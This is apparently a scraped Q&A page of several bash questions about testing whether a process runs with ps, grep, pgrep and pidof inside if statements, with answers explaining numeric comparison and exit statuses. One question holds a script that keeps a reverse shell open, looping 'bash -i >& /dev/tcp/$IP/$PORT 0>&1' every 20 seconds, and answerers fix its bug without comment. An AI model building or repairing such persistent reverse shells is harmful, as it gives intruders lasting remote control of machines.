Bash: if statement always succeeding - linux

I have the following if statement to check if a service, newrelic-daemon in this case, is running...
if [ $(ps -ef | grep -v grep | grep newrelic-daemon | wc -l) > 0 ]; then
echo "New Relic is already running."
The problem is it's always returning as true, i.e. "New Relic is already running". Even though when I run the if condition separately...
ps -ef | grep -v grep | grep newrelic-daemon | wc -l
... it returns 0. I expect it to do nothing here as the value returned is =0 but my IF condition says >0.
Am I overlooking something here?

You are trying to do a numeric comparison in [...] with >. That doesn't work; to compare values as numbers, use -gt instead:
if [ "$(ps -ef | grep -v grep | grep -c newrelic-daemon)" -gt 0 ]; then
The quotation marks around the command expansion prevent a syntax error if something goes horribly wrong (e.g. $PATH set wrong and the shell can't find grep). Since you tagged this bash specifically, you could also just use [[...]] instead of [...] and do without the quotes.
As another Bash-specific option, you could use ((...)) instead of either form of square brackets. This version is more likely to generate a syntax error if anything goes wrong (as the arithmetic expression syntax really wants all arguments to be numbers), but it lets you use the more natural comparison operators:
if (( "$(ps -ef | grep -v grep | grep -c newrelic-daemon)" > 0 )); then
In both cases I used grep -c instead of grep | wc -l; that way I avoided an extra process and a bunch of interprocess I/O just so wc can count lines that grep is already enumerating.
But since you're just checking to see if there are any matches at all, you don't need to do either of those; the last grep will exit with a true status if it finds anything and false if it doesn't, so you can just do this:
if ps -ef | grep -v grep | grep -q newrelic-daemon; then
(The -q keeps grep from actually printing out the matching lines.)
Also, if the process name you're looking for is a literal string instead of a variable, my favorite trick for this task is to modify that string like this, instead of piping through an extra grep -v grep:
if ps -ef | grep -q 'newrelic[-]daemon'; then
You can pick any character to put the square brackets around; the point is to create a regular expression pattern that matches the target process name but doesn't match the pattern itself, so the grep process doesn't find its own ps line.
Finally, since you tagged this linux, note that most Linux distros ship with a combination ps + grep command called pgrep, which does this for you without your having to build a pipeline:
if pgrep newrelic-daemon >/dev/null; then
(The MacOS/BSD version of pgrep accepts a -q option like grep, which would let you do without the >/dev/null redirect, but the versions I've found on Linux systems don't seem to have that option.)
There's also pidof; I haven't yet encountered a system that had pidof without pgrep, but should you come across one, you can use it the same way:
if pidof newrelic-daemon >/dev/null; then

Other answers have given you more details. I would do what you are trying to do with:
if pidof newrelic-daemon >/dev/null; then
echo "New Relic is already running."
fi
or even
pidof newrelic-daemon >/dev/null && echo "New Relic is already running."

If you want to compare integers with test you have to use the -gt option. See:
man test
or
man [

#Stephen: Try(change [ to [[ into your code along with fi which will complete the if block completely):
if [[ $(ps -ef | grep -v grep | grep newrelic-daemon | wc -l) > 0 ]]; then
echo "New Relic is already running."
fi

Related

Using grep in an if statement

My goal is to write a shell script take the users that I have already filtered out of a file and check whether those users have a certain string, and if they do, label them as major, if not, nonmajor. My trouble is coming from my first if statement, and I'm not sure if grep is the right way to go in an if statement. Here is what I have:
(
while read i
do
username=`echo $i | grep -v 'CMPSC 1513' | grep -P -v '(?!.*CPSMA 2923)CPSMA' | cut -d'|' -f2`
fullname=`echo $i | grep -v 'CMPSC 1513' | grep -P -v '(?!.*CPSMA 2923)CPSMA' | cut -d'|' -f3`
id=`echo $i | grep -v 'CMPSC 1513' | grep -P -v '(?!.*CPSMA 2923)CPSMA' | cut -d'|' -f4`
if [ $username ]
then
if grep -q "|0510"
then
echo $username":(password):(UID):(GID):"$fullname"+"$id":/home/STUDENTS/majors:/bin/bash"
else
echo $username":(password):(UID):(GID):"$fullname"+"$id":/home/STUDENTS/nonmajors:/bin/bash"
fi
fi
done
)<./cs_roster.txt
Just some info, this is contained in a while loop. In the while loop, i determine whether the person listed should even be major or nonmajor, and my if [ $username ] has been tested and does return all the correct users. At this point the while loop is only running once and then stopping.
Just remove the square brackets and pass $i to grep:
if echo $i | grep -q "|0510"
In your code sample, grep does not have anything to work on.
The "binary operator expected" occurs because you are invoking the command [ with the arguments "grep" and "-q" (you are not invoking grep at all), and [ expects a binary operator where you have specified -q. [ is a command, treated no differently that grep or ls or cat. It is better (IMO) to spell it test, and when invoked by the name test it does not require that its last argument be ]. If you want to use grep in an if statement, just do something like:
if echo "$username" | grep -q "|0510"; then ...
(Although I suspect, depending on the context, there are better ways to accomplish your goal.)
The basic syntax of an if statement is if pipeline; then.... In the common case, the pipeline is the simple command test, and at some point in pre-history, the decision was made to provide the name [ for the test command with the added caveat that its final argument must be ]. I believe this was done in an effort to make if statements look more natural, as if the [ is an operator in the language. Just ignore [ and always use test and much confusion will be avoided.
You can use this code as an exercise. Write an awk script for it, or start with something like
while IFS='|' read -r f1 username fullname id otherfields; do
# I don't know which field you want to test. I will rest with id
if [[ $id =~ ^0510 ]]; then
subdir=majors
else
subdir=nonmajors
fi
echo "${username}:(password):(UID):(GID):${fullname}+${id}:/home/STUDENTS/${subdir}:/bin/bash"
done < <( grep -v 'CMPSC 1513' ./cs_roster.txt | grep -P -v '(?!.*CPSMA 2923)CPSMA' )
This is nice for learning some bash syntax, but consider an awk script for avoiding a while-loop.

Error "Integer Expression Expected" in Bash script

So, I'm trying to write a bash script to phone home with a reverse shell to a certain IP using bash if the program isn't already running. It's supposed to check every 20 seconds to see if the process is alive, and if it isn't, it'll execute the shell. However, I get the error ./ReverseShell.sh: line 9: [: ps -ef | grep "bash -i" | grep -v grep | wc -l: integer expression expected When I attempt to execute my program. This is because I'm using -eq in my if statement. When I replace -eq with =, the program compiles, but it evaluates to 0 no matter what.
What am I doing wrong? My code is below.
#!/bin/bash
#A small program designed to establish and keep a reverse shell open
IP="" #Insert your IP here
PORT="" #Insert the Port you're listening on here.
while(true); do
if [ 'ps -ef | grep "bash -i" | grep -v grep | wc -l' -eq 0 ]
then
echo "Process not found, launching reverse shell to $IP on port $PORT"
bash -i >& /dev/tcp/$IP/$PORT 0>&1
sleep 20
else
echo "Process found, sleeping for 20 seconds..."
ps -ef | grep "bash -i" | grep -v "grep" | wc -l
sleep 20
fi
done
There is a small change required in your code.
You have to use tilt "`" instead of single quotes "''" inside if.
if [ `ps -ef | grep "bash -i" | grep -v grep | wc -l` -eq 0 ]
This worked for me. Hope it helps you too.
Besides the typo mentioned in the comments it should be:
if ! pgrep -f 'bash -i' > /dev/null ; then
echo "process not found"
else
echo "process found"
fi
Since pgrep emits a trueish exit status if at least 1 process was found and a falseish exit status if no process was found, you can use it directly in the if condition. [ (which is a command) is not required.
PS: Just realized that this has also been mentioned in comments an hour ago. Will keep it, because it is imo a good practice.

Bash oneliner with pipes and if condition giving error

I am trying to find the number of a particular process in bash using if condition as
if ps auwx | grep -v grep | grep -ic python -le 2; then echo error; else echo no_error; fi
and I am getting output as
grep: python: No such file or directory
no_error
The one-liner seems to break if I use pipe, and no error is thrown if I omit pipe, and it doesn't matter if I use the absolute path to grep either.I cannot get the required result without the pipe. What am I doing wrong here? I can get this done in a script file, by breaking it into variables and then doing comparing it, but I was using this as an exercise to learn bash. Any help is greatly appreciated.
First of all, the syntax of if command is:
if cmd; then
# cmd exited with status 0 (success)
else
# cmd exited with status >0 (fail)
fi
The cmd above is the so-called list - a sequence of pipelines. Each pipeline is a sequence of commands separated with |.
The -le operator is interpreted only by the test command (also known as [, or [[), not by the if command.
So, when you say:
if ps auwx | grep -v grep | grep -ic python -le 2; then ... fi
you actually call grep with arguments:
grep -ic python -le 2
And since -e is used to specify the search pattern, the argument python is interpreted as a filename of the file to search for pattern 2. That's why grep tells you it can't find file named python.
To test the output of a command pipeline in if, you can use the command substitution inside the [[/[/test (as the other answer suggests):
if [[ $(ps auwx | grep -v grep | grep -ic python) -le 2 ]]; then ... fi
or, within (( .. )), with implicit arithmetic comparisons:
if (( $(ps auwx | grep -v grep | grep -ic python) <= 2 )); then ... fi
using a command substitution in a condition
if [[ $(ps ...) -le 2 ]]; then

Can't grep command resultats in bash script

Good Morning,
Context :
I would like to check every minute if a python script is running. In my cron, i call a script. The script's goal is to check if the process is running.
My script :
#!/bin/bash
DIR="path/to/directory"
CMD="python3 -u $DIR/script.py -arg1 $DIR/arg1 -arg2 $DIR/arg2 -arg3 $DIR/arg3"
if [ ! $(ps aux | grep 'my_pattern' | grep -v 'color')]
then
echo "Success"
"$CMD" > /dev/null
fi
With this script i want to grep the process and inverse the grep to exclude the color process. If the process is running, the command (ps aux | grep 'my_pattern' | grep -v 'color')returns me something if not, the command returns me nothing.
The error is ./script.sh: line 12: [!myuser+ : Untraceable command
The execution of the command did not returns me the result of the command but the process number of my command like if i did a ps aux of my command.
If it's not clear, please ask, difficult for me to translate the issue.
Thank you for answering.
EDIT : I HAVE APPLY the ocndition like this :
if [[ -z $(ps aux | grep 'my_pattern' | grep -v 'color') ]]
Now i don't have any errors but it never enter in my if condition.
With
if [[ -z $(ps aux | grep 'my_pattern' | grep -v 'color') ]]
(mind the typo as shown by klashxx)
you can check if the variable is empty.
So instead of using "!", i think it's more appropriate and effective to check if the grepping of ps aux is returning an empty string or not.
Let me know if this helped you or not.
EDITED: corrected '[' to '[['
EDITED AGAIN: for other users to know, if u need to check the existance of a process with this method append ! before -z flag to see if it is NOT empty

struck in the logic

I need to write a shell script to see if the ADM Process is down we need to get an alert via email,I have done that below the script,it is working fine if we have installed one ADM server on one machine,But my requirement is i have installed 3 ADM servers on one machine not sure how i can write the shell script to achieve this requirement.
script:-
export ADM =`ps -ef | grep Adm | grep -v grep | wc -l`
if [ $ADM == 0 ];
then
echo "AdmServer is down on Dev $hostname" | mail -s xxxx.gmail.com
fi
Please help me out,
Thanks,
Instead of checking whether $ADM is 0, check whether it's not 3.
ADM=`ps -ef | grep -c '[A]dm`
if [ $ADM -ne 3 ]
then
echo "AdmServer is down on Dev $hostname" | mail -s xxxx.gmail.com
fi
The -c option to grep returns the count of matches, so you don't need to use wc -l. And putting one of the characters in brackets is a trick for parsing ps output so you don't need grep -v grep (because now the argument to grep is no longer the same as the process name you're searching for). And you should use -eq and -ne for comparing numbers; == and != are for comparing strings.
There's no need to use export when assigning a variable that will just be used in that shell script. export is for creating environment variables, which are inherited by child processes.

Resources